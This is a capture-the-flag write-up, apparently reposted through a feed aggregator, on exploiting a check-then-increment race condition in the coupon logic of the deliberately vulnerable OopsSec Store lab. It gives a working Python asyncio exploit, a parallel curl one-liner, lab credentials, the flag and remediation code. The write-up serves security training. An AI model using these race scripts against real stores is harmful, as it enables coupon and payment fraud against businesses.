惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

TaoSecurity Blog
TaoSecurity Blog
V2EX - 技术
V2EX - 技术
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
S
Secure Thoughts
Forbes - Security
Forbes - Security
Engineering at Meta
Engineering at Meta
Microsoft Azure Blog
Microsoft Azure Blog
Apple Machine Learning Research
Apple Machine Learning Research
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Webroot Blog
Webroot Blog
W
WeLiveSecurity
Blog — PlanetScale
Blog — PlanetScale
G
Google Developers Blog
Last Week in AI
Last Week in AI
月光博客
月光博客
H
Help Net Security
PCI Perspectives
PCI Perspectives
Security Archives - TechRepublic
Security Archives - TechRepublic
Hugging Face - Blog
Hugging Face - Blog
Hacker News - Newest:
Hacker News - Newest: "LLM"
有赞技术团队
有赞技术团队
T
Troy Hunt's Blog
Google DeepMind News
Google DeepMind News
Hacker News: Ask HN
Hacker News: Ask HN
Microsoft Security Blog
Microsoft Security Blog
N
News and Events Feed by Topic
Project Zero
Project Zero
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
L
LangChain Blog
P
Privacy & Cybersecurity Law Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
V
V2EX
I
Intezer
H
Hacker News: Front Page
Recent Announcements
Recent Announcements
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
博客园 - Franky
T
Threat Research - Cisco Blogs
Spread Privacy
Spread Privacy
博客园 - 【当耐特】
美团技术团队
Schneier on Security
Schneier on Security
D
Docker
Scott Helme
Scott Helme
L
LINUX DO - 最新话题
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
aimingoo的专栏
aimingoo的专栏
L
Lohrmann on Cybersecurity

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant Common SOC 2 Failures (Real World) Stop Vibe-Checking Your AI App: A Practical Guide to Evals How to Use SonarQube and SonarScanner Locally to Level Up Your Code Quality Your Next To-Do App Is Dead — I Replaced Mine with an OpenClaw AI Sign a Nostr event in 60 lines of Python using coincurve — no nostr-sdk, no nbxplorer, no rust toolchain ITGC Audit Explained Like You’re in Big 4 Patch Tuesday abril 2026: Microsoft parcha 163 vulnerabilidades y un zero-day en SharePoint Stop scraping everything: a better way to track competitor price changes Listing on MCPize + the Official MCP Registry while routing payments OUTSIDE the marketplace — how I kept 100% of my x402 revenue Building an AI-Powered Risk Intelligence System Using Serverless Architecture Why We Ripped Function Overloading Out of Our AI Toolchain Testing AI-Generated Code: How to Actually Know If It Works SaaS Churn Is Killing Your Business. Here Is What to Do About It (Without a Support Team) The Speed of AI Is No Longer Linear - And Self-Improving Models Are Why How to Implement RBAC for MCP Tools: A Practical Guide for Engineering Teams From Standard Quote to Persuasive Proposal: AI Automation for Arborists I built a CLI that scaffolds complete multi-tenant SaaS apps Axios CVE-2025–62718: The Silent SSRF Bug That Could Be Hiding in Your Node.js App Right Now The dashboard that ended our friendship Data Pipelines Explained Simply (and How to Build Them with Python) The Hidden Cost of AI Systems Nobody Talks About. undefined vs undeclared, and how typeof behaves Switching from file-based jobs to NATS/Kafka in Rust without changing code io_uring Adventures: Rust Servers That Love Syscalls Why Agentic AI is Killing the Traditional Database The POUR principles of web accessibility for developers and designers Quantum Neural Network 3D — A Deep Dive into Interactive WebGL Visualization How To Install Caveman In Codex On macOS And Windows Automation Pipeline Reliability: Why Your Workflow Breaks When Nobody Is Watching I Built an 'Open World' AI Coding Agent — It Works From ANY Folder From Freelancing to Product: A Tech Service Company's SaaS Transformation China's AI Giants: Adding Tencent Hunyuan & ByteDance Doubao to AI University (74 Providers) On the Vibe Coders and Their Lies clerk: Auto-Summarize Your Claude Code Sessions AI Weekly — 2026/04/10–04/17 | The Model Lockdown Is Here, but the Toolchain Is the Real Battleground AI 週報 — 2026/04/10–2026/04/17 模型封鎖潮來了,但工具鏈才是真戰場 Maybe this is how Open-Source apps are born... 🚀 Fine-Tune LLMs with LoRA and QLoRA: 2026 Guide tRPC v11 + Next.js App Router: End-to-End Type Safety Without the Boilerplate ShadCN UI in 2026: Why I Stopped Installing Component Libraries and Started Owning My Components SaaS Billing in React Server Components: Stripe + Supabase Without a Single `useEffect` Join our DEV Weekend Challenge — $1,000 in Prizes Across TEN winners! Submissions Due April 20 at 6:59 AM UTC. Implementing FSRS Spaced Repetition in Flutter + Supabase — Adding Memory Science to an AI Learning App "I Texted My Localhost From the Train — Claude Code Fixed the Bug Before I Got Home" I Built a Sales Prep AI and It Went Deeper Than Expected Design to Code #2: One JSON, Eleven Outputs Solving the 100M-Row Problem: A Summary Table Pattern for High-Volume Push Notification Logs Flutter Web With Wasm: What Actually Changes For Developers I Built 50 Royalty-Free Soundtracks for My Side Project in a Weekend Using AI Music Generation The Vibe Coding Security Checklist: 7 Things to Check Before You Ship Stop Letting Googlebot Guess Fix Your React App's SEO Right Desconstruindo o Streaming do LinkedIn: Como Criar um Engine de Extração de Vídeo de Alta Performance com HLS e FFmpeg (EDA Part-1) EDA (Exploratory Data Analysis) Explained With Real Life — Why Looking at Your Data Is the Most Important Step in Machine Learning Brand Relationship Management at Scale: Our 4-Touch Outreach System for 200+ Brands Why String.fromEnvironment() Might Return an Empty String in Dart JGuardrails 1.0.0 — Hardening Java LLM Apps Against Jailbreaks, Toxicity, and Prompt Injection Plan and Schedule a Full Week of Threads Content From One Claude Conversation Coding Cat Oran Ep3, Five Tables Changed Everything Updated: BFF Pattern I'm done watching freelancers get buried by 200 proposals. So I'm building the alternative. This is my first post BFS Algorithm in Java Step by Step Tutorial with Examples Tracking LLM Pricing Monthly: An Open Dataset for 22 AI Models How We Measure Content ROI on a Comparison Site: Revenue Attribution Without Perfect Data Introducing Nova AI Ops: The AI-Native Operating System for SRE Teams I built a free desktop video downloader for Windows — Grabbit How Talkie OCR Helps Vision-Impaired & Dyslexic Users Read the World Around Them VRCFaceTracking安装和iPhone面捕配置教程,有bug Even CrowdStrike Can't See Your Agents The Automation Gold Rush: What n8n Workflows and Claude Are Opening Up for Developers Right Now
Racing a Next.js API route: coupon abuse with Prisma and SQLite
Oopssec Store · 2026-06-22 · via DEV Community

OopsSec Store validates a coupon and increments its counter in two separate database calls. Send enough concurrent requests and several slip through the check before any of them completes the increment.

The OopsSec Store homepage advertises FLASHSALE: 50% off, single-use. Enforcement is a counter check — read usedCount, compare to maxUses, then increment in a separate query. Nothing holds those two steps together. Send 30 concurrent requests and most of them will read usedCount = 0, pass the check, and complete the discounted order before any increment is written. The server detects the overrun and puts the flag in the response.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Target identification

The homepage shows a banner:

Limited time offer — use code FLASHSALE for 50% off your next order

Go to /checkout with items in your cart. Expand "Have a promo code?", type FLASHSALE, and click Apply. The total drops by 50%. You can remove and re-apply the code freely — no database write happens yet. The coupon is consumed only when you click Complete Payment.

Cart Rule

Place the order, then try to place another with the same coupon code. The second order goes through but the discount is silently ignored — usedCount is now 1, at maxUses. Sequential use is blocked. Concurrent use is not.

Cart Rule Used

Understanding the vulnerability

The TOCTOU pattern

POST /api/coupon/apply is a preview-only endpoint — it validates the coupon and returns the discounted total without writing to the database. The coupon is consumed when the order is actually placed.

POST /api/orders performs two database operations in sequence:

// 1. CHECK — read the current counter
const coupon = await prisma.coupon.findUnique({ where: { code } });

if (coupon.usedCount < coupon.maxUses) {
  // ← all concurrent requests pass this check — they all read usedCount = 0

  // 2. ACT — increment the counter
  const updated = await prisma.coupon.update({
    where: { code: coupon.code },
    data: { usedCount: { increment: 1 } },
  });

  expectedTotal = calculatedTotal * (1 - coupon.discount);
}

Each operation is a separate round-trip to the database. Between them, the Node.js event loop is free to handle other requests. If thirty requests all execute step 1 before any of them reaches step 2, they all see usedCount = 0, they all pass the check, and they all increment the counter. The counter ends up at 30, even though maxUses is 1.

This is a Time-of-Check Time-of-Use (TOCTOU) race condition.

Why the flag appears

After the increment, the endpoint compares the updated counter to maxUses:

if (updated.usedCount > coupon.maxUses) {
  couponRaceFlag = "OSS{r4c3_c0nd1t10n_c0up0n_4bus3}";
}

Any request whose increment pushes usedCount above 1 gets the flag in its response. In a successful race, that is most of them.

Exploitation

Step 1: Get an authentication token

Log in and capture your authToken cookie. The easiest way:

curl -s -c cookies.txt -X POST http://localhost:3000/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"alice@example.com","password":"iloveduck"}'

TOKEN=$(grep authToken cookies.txt | awk '{print $NF}')
echo "Token: $TOKEN"

Step 2: Preview the coupon (no counter consumed)

curl -s -X POST http://localhost:3000/api/coupon/apply \
  -H "Content-Type: application/json" \
  -H "Cookie: authToken=$TOKEN" \
  -d '{"code":"FLASHSALE","cartTotal":100}'

{ "discountedTotal": 50, "discountPercent": 50 }

Calling it again returns the same response — the counter is untouched. The coupon is consumed only when an order is placed with couponCode: "FLASHSALE".

Add a product to your cart, place one order with the coupon, then try a second: the discount is silently ignored (the coupon is now exhausted). The sequential path is guarded. Now reseed (npm run db:seed) and move to the concurrent attack.

Step 3: Fire concurrent order requests

Python (asyncio + httpx):

#!/usr/bin/env python3
"""Race condition exploit: concurrent orders with the same coupon code."""

import asyncio
import httpx

BASE_URL = "http://localhost:3000"
TOKEN = "<your-authToken-here>"
CART_TOTAL = 5.49    # e.g. one Artisan Sourdough Bread — set to your actual cart total
DISCOUNTED  = round(CART_TOTAL * 0.5, 2)  # verify this matches your cart
CONCURRENCY = 30


async def place_order(client: httpx.AsyncClient, idx: int) -> dict:
    r = await client.post(
        f"{BASE_URL}/api/orders",
        json={"total": DISCOUNTED, "couponCode": "FLASHSALE"},
        cookies={"authToken": TOKEN},
    )
    result = r.json()
    result["_req"] = idx
    result["_status"] = r.status_code
    return result


async def main():
    async with httpx.AsyncClient(timeout=10) as client:
        results = await asyncio.gather(
            *[place_order(client, i) for i in range(CONCURRENCY)]
        )

    successes = [r for r in results if r["_status"] == 200]
    flags = [r for r in successes if "flag" in r]

    print(f"Total requests : {CONCURRENCY}")
    print(f"Successes (200): {len(successes)}")
    print(f"Responses with flag: {len(flags)}")

    if flags:
        print(f"\nFlag: {flags[0]['flag']}")
    else:
        print("\nNo flag yet — try increasing CONCURRENCY or reseeding.")


asyncio.run(main())

Run it:

pip install httpx
python3 exploit.py

curl (parallel):

TOKEN="<your-authToken-here>"
# total must be the discounted amount (CART_TOTAL * 0.5), e.g. 2.75 for a $5.49 cart
BODY='{"total":2.75,"couponCode":"FLASHSALE"}'

seq 30 | xargs -P30 -I{} curl -s \
  -X POST http://localhost:3000/api/orders \
  -H "Content-Type: application/json" \
  -H "Cookie: authToken=$TOKEN" \
  -d "$BODY"

Burp Suite Intruder:

Capture a POST /api/orders request with couponCode in the body, send it to Intruder, set attack type to Sniper with a null payload list of 30 entries, enable Resource pool → "Maximum concurrent requests: 30". Start attack.

Step 4: Collect the flag

Multiple responses will look like:

{
  "id": "ORD-007",
  "total": 2.75,
  "status": "PENDING",
  "flag": "OSS{r4c3_c0nd1t10n_c0up0n_4bus3}"
}

The flag appears in every response where the post-increment usedCount exceeded maxUses — usually most of the 30 concurrent requests.

Exploit

Tip: If the race doesn't fire on the first try, the database may already have usedCount > 0 from a previous run. Reseed with npm run db:seed and try again. A freshly seeded instance with 30 concurrent requests succeeds reliably.

Vulnerable code analysis

The full handler in app/api/orders/route.ts:

// Step 1 — separate read (the CHECK)
const coupon = await prisma.coupon.findUnique({
  where: { code: couponCode.toUpperCase() },
});

if (
  coupon &&
  (!coupon.expiresAt || coupon.expiresAt >= new Date()) &&
  coupon.usedCount < coupon.maxUses // ← all 30 concurrent requests pass here
) {
  // Step 2 — separate write (the ACT)
  const updated = await prisma.coupon.update({
    where: { code: coupon.code },
    data: { usedCount: { increment: 1 } }, // ← each increments independently
  });

  expectedTotal = calculatedTotal * (1 - coupon.discount);

  if (updated.usedCount > coupon.maxUses) {
    couponRaceFlag = "OSS{r4c3_c0nd1t10n_c0up0n_4bus3}";
  }
}

The two Prisma calls are sequential but not atomic. The Node.js event loop can interleave any number of other requests between them. Because Prisma uses a connection pool and SQLite allows concurrent reads, all 30 findUnique calls can complete before any update is dispatched.

Remediation

Option A — Atomic conditional update (recommended)

Replace the read + write pair with a single updateMany that includes the condition in its WHERE clause:

const updated = await prisma.coupon.updateMany({
  where: {
    code: code.toUpperCase(),
    usedCount: { lt: maxUses },
  },
  data: { usedCount: { increment: 1 } },
});

if (updated.count === 0) {
  return NextResponse.json(
    { error: "Coupon has already been used" },
    { status: 400 }
  );
}

This translates to a single UPDATE … WHERE usedCount < maxUses statement. The database executes the check and the increment atomically — only one row can match and be updated at a time. All concurrent requests that arrive after the first successful update see count = 0 and return 400.

Option B — Explicit transaction

const result = await prisma.$transaction(async tx => {
  const coupon = await tx.coupon.findUnique({ where: { code } });

  if (!coupon || coupon.usedCount >= coupon.maxUses) {
    throw new Error("Coupon has already been used");
  }

  return tx.coupon.update({
    where: { code },
    data: { usedCount: { increment: 1 } },
  });
});

A transaction prevents other writes from committing between the read and the write within the same transaction boundary. Note that with SQLite's default isolation, updateMany (Option A) is still more reliable because it avoids the read entirely.

Why transactions alone are not always enough

With SQLite in WAL mode (the default), concurrent readers do not block each other. Two transactions can both read usedCount = 0 before either commits the increment. The conditional updateMany sidesteps this because the condition is evaluated at write time by the database engine itself, under its own locking.

For PostgreSQL or MySQL, a transaction with SELECT … FOR UPDATE would also work, but the updateMany pattern is portable and more idiomatic with Prisma.

Race conditions are easy to miss in a code review — the logic reads correctly when you step through it linearly. The problem only surfaces when you ask: what happens if two requests hit step 1 at the same time? Applying that question to any sequential read-then-write on shared state is a useful habit.

Lab

GitHub logo kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Node.js
npx create-oss-store my-ctf-lab && cd my-ctf-lab && npm start

# Docker
docker run -p 3000:3000 leogra/oss-oopssec-store

# Then open http://localhost:3000 and

References


Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.